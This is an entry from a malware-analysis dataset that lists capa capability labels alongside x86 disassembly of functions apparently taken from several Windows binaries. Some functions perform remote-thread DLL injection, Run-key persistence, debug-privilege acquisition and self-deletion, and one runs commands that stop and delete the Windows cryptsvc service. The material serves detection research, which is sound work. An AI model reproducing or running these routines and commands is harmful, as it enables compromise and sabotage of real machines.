joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10043eab
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 0xa8]
push edi
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
xor ebx, ebx
cmp dword [esi + 0x90], ebx
jne 0x10043fa2
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_CreateEventW]
mov dword [esi + 0x8c], eax
test eax, eax
je 0x10043f3e
push ebx
push 1
push 1
push ebx
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_CreateEventW]
mov dword [esi + 0x98], eax
test eax, eax
je 0x10043f3e
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_CreateEventW]
mov dword [esi + 0x9c], eax
test eax, eax
je 0x10043f3e
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_CreateEventW]
mov dword [esi + 0x94], eax
test eax, eax
je 0x10043f3e
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x100434d0
push ebx
push ebx
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateThread]
mov dword [esi + 0x90], eax
cmp dword [esi + 0x90], ebx
jne 0x10043fa2
mov eax, dword [esi + 0x8c]
test eax, eax
je 0x10043f5d
push eax
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov dword [esi + 0x8c], ebx
mov eax, dword [esi + 0x98]
test eax, eax
je 0x10043f74
push eax
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov dword [esi + 0x98], ebx
mov eax, dword [esi + 0x9c]
test eax, eax
je 0x10043f8b
push eax
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov dword [esi + 0x9c], ebx
mov eax, dword [esi + 0x94]
test eax, eax
je 0x10043fa2
push eax
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov dword [esi + 0x94], ebx
push edi
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
xor eax, eax
cmp dword [esi + 0x90], ebx
pop edi
pop esi
setne al
pop ebx
leave
ret
Function at 0x10045760
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebx
push esi
push edi
push 0x800
push 0
push 0x10004d10
mov esi, ecx
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_LoadLibraryExW]
mov dword [esi], eax
mov edi, 0x8004100c
test eax, eax
jne 0x100457c5
push edi
call dword [sym.imp.wbemcomn.dll_GetMemLogObject]
mov ecx, eax
call dword [sym.imp.wbemcomn.dll_public:_void___thiscall_CMemoryLog::Write_long_int_]
mov eax, dword [0x1005300c]
cmp eax, 0x1005300c
je 0x100457bf
test byte [eax + 0x1c], 2
je 0x100457bf
cmp byte [eax + 0x19], 2
jb 0x100457bf
push edi
push dword [eax + 0x14]
mov edx, 0x10004dc8
push dword [eax + 0x10]
push 0xa
pop ecx
call fcn.100162e6
mov eax, edi
pop edi
pop esi
pop ebx
ret
mov ebx, 0x10004d24
push ebx
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [esi + 4], eax
test eax, eax
je 0x100457bf
push 0x10004d44
push dword [esi]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [esi + 0xc], eax
test eax, eax
je 0x100457bf
push 0x10004d64
push dword [esi]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [esi + 8], eax
test eax, eax
je 0x100457bf
push ebx
push dword [esi]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [esi + 4], eax
test eax, eax
je 0x100457bf
push 0x10004d84
push dword [esi]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [esi + 0x10], eax
test eax, eax
je 0x100457bf
push 0x10004d98
push dword [esi]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [esi + 0x14], eax
test eax, eax
je 0x100457bf
push 0x10004dac
push dword [esi]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov dword [esi + 0x18], eax
test eax, eax
je 0x100457bf
xor eax, eax
jmp 0x100457c1
Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.C:WindowsSystem32calc.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteW_24
sub esp, 0x18
nop
leave
ret

Function at 0x401528
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
lea eax, [ebp - 0x210]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._SHGetFolderPathW_20
sub esp, 0x14
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0x406114
call sym._wprintf
nop
leave
ret

Function at 0x401614
Capabilities:
Empty the recycle bin

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.SHELL32.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40167e
mov dword [esp + 4], str.SHEmptyRecycleBinW
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401670
mov dword [esp + 8], 7
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._SHEmptyRecycleBinW_12
sub esp, 0xc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
nop
leave
ret

Function at 0x401681
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x54
lea edx, [ebp - 0x44]
mov eax, 0
mov ecx, 0xf
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], str.open
mov dword [ebp - 0x34], str.cmd.exe
mov dword [ebp - 0x30], str._C_echo_Hello_World
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sym._ShellExecuteExW_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret

Function at 0x401b74
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x5c]
mov dword [esp + 0x28], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], str.C:WindowsSystem32cmd.exe
mov dword [esp + 0xc], 2
mov dword [esp + 8], str.password
mov dword [esp + 4], str.domain
mov dword [esp], str.username
call sym._CreateProcessWithLogonW_44
sub esp, 0x2c
test eax, eax
jne 0x401c29
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error:__d_n
call sym._printf
nop
leave
ret
Function at 0x401c2c
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call sym._GetCurrentProcess_0
mov edx, eax
lea eax, [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x28
mov dword [esp], edx
call sym._OpenProcessToken_12
sub esp, 0xc
lea eax, [ebp - 0x1c]
add eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], 0
call sym._LookupPrivilegeValueA_12
sub esp, 0xc
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._AdjustTokenPrivileges_24
sub esp, 0x18
nop
leave
ret

Function at 0x401d3b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x406588
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegQueryValueExW_24
sub esp, 0x18
nop
leave
ret

Function at 0x401d8c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], 0x406588
mov dword [esp], 0x80000001
call sym._RegOpenKeyExW_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x401e4b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [str.dead3]
mov dword [ebp - 0x14], eax
mov eax, dword [0x406626]
mov dword [ebp - 0x10], eax
mov eax, dword [0x40662a]
mov dword [ebp - 0xc], eax
mov dword [esp + 0x14], 0xc
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.dead3
mov dword [esp], 0x80000001
call sym._RegSetValueExW_24
sub esp, 0x18
test eax, eax
je 0x401eb1
mov dword [esp], str.Error
call sym._puts
jmp 0x401ebd
mov dword [esp], str.Success
call sym._puts
nop
leave
ret
Function at 0x402064
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x402180
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x402279
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4022dc
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40239e
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x402311
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40239e
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x40233b
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40239e
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402382
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x40239e
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x4025dd
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x402dc0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x402e0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402e04
test esi, esi
je 0x402e04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402de0
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402ff0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403040
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403118
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40307e
cmp eax, 4
jne 0x4030a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40308e
cmp edx, 4
je 0x40308e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402ff0
Function at 0x401430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x908
push ebx
xor ebx, ebx
push ebp
mov ebp, dword [esp + 0x914]
push esi
cmp eax, ebx
push edi
je 0x4014ab
mov eax, dword [0x40f37c]
mov dword [esp + 0x10], ebx
cmp eax, ebx
jle 0x4014ab
mov edi, 0x40f380
mov esi, ebp
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401485
cmp cl, bl
je 0x401481
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401485
add eax, 2
add esi, 2
cmp cl, bl
jne 0x401461
xor eax, eax
jmp 0x40148a
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x40166c
mov eax, dword [esp + 0x10]
mov ecx, dword [0x40f37c]
inc eax
add edi, 0x104
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x40145d
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x519]
mov byte [esp + 0x518], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.tty3d.exe
stosb byte es:[edi], al
call fcn.004031a0
mov eax, dword [0x40f37c]
mov edi, ebp
mov ecx, eax
push str.TenFact.dll
shl ecx, 6
add ecx, eax
inc eax
mov dword [0x40f37c], eax
xor eax, eax
lea edx, [ecx*4 + 0x40f380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
push str._sTENIO_s
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x25]
mov byte [esp + 0x24], bl
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x128]
push ecx
stosb byte es:[edi], al
call esi
push str.TenSafe.dll
push ebp
lea edx, [esp + 0x30]
push str._sTENIO_s
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
add esp, 0x24
lea eax, [esp + 0x14]
push eax
call edi
cmp eax, 0xffffffff
jne 0x40158b
lea ecx, [esp + 0x14]
push ebx
lea edx, [esp + 0x11c]
push ecx
push edx
call dword [0x40e878]
lea eax, [esp + 0x118]
push eax
call fcn.004030e0
add esp, 4
lea ecx, [esp + 0x118]
push ebx
push ecx
push 0x411400
call dword [0x40e878]
push str.TenSafe.dll
push ebp
lea edx, [esp + 0x520]
push str._s_s
push edx
call esi
add esp, 0x10
lea eax, [esp + 0x518]
push eax
call edi
cmp eax, 0xffffffff
jne 0x4015ea
lea ecx, [esp + 0x518]
push ebx
lea edx, [esp + 0x18]
push ecx
push edx
call dword [0x40e878]
push str.ksuser.dll
push ebp
lea eax, [esp + 0x120]
push str._s_s
push eax
call esi
lea ecx, [esp + 0x128]
push ecx
call fcn.004030e0
add esp, 0x14
lea edx, [esp + 0x118]
push ebx
push edx
push 0x411400
call dword [0x40e878]
push str.midimap.dll
push ebp
lea eax, [esp + 0x120]
push str._s_s
push eax
call esi
lea ecx, [esp + 0x128]
push ecx
call fcn.004030e0
add esp, 0x14
lea edx, [esp + 0x118]
push ebx
push edx
push 0x411400
call dword [0x40e878]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x908
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x908
ret
Function at 0x401a40
Capabilities:
Get disk information

Disassembly:
sub esp, 0xa48
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
push 0x104
call dword [0x40e8a8]
mov al, byte [esp + 0x14]
lea ebp, [esp + 0x14]
test al, al
je 0x401ad0
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebp
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401abf
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebp
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x401a88
test ebx, ebx
jle 0x401ba8
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebx + ebx*4]
lea esi, [esp + eax*2 + 0x10e]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x659]
mov byte [esp + 0x658], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x658]
stosw word es:[edi], ax
push ecx
push str.tty3d.exe
push esi
stosb byte es:[edi], al
call dword [0x40e8a4]
test eax, eax
jne 0x401b37
push 0xa
call ebp
dec ebx
sub esi, 0xa
test ebx, ebx
jg 0x401ae8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xa48
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x259]
mov byte [esp + 0x258], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [esp + 0x258]
push 0
lea eax, [esp + 0x65c]
push edx
push eax
call fcn.00403060
lea ecx, [esp + 0x264]
push 1
push ecx
call fcn.00401430
lea edi, [esp + 0x26c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x26c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub edx, 8
push 1
mov byte [ecx + edx], al
lea eax, [esp + 0x270]
push eax
call fcn.00401430
add esp, 0x1c
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xa48
ret
Function at 0x401d90
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40e8a8]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401e1f
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401e0f
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x401dd8
test ebp, ebp
jle 0x401e4b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401e45
push esi
call fcn.00401bc0
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401e34
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x402050
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret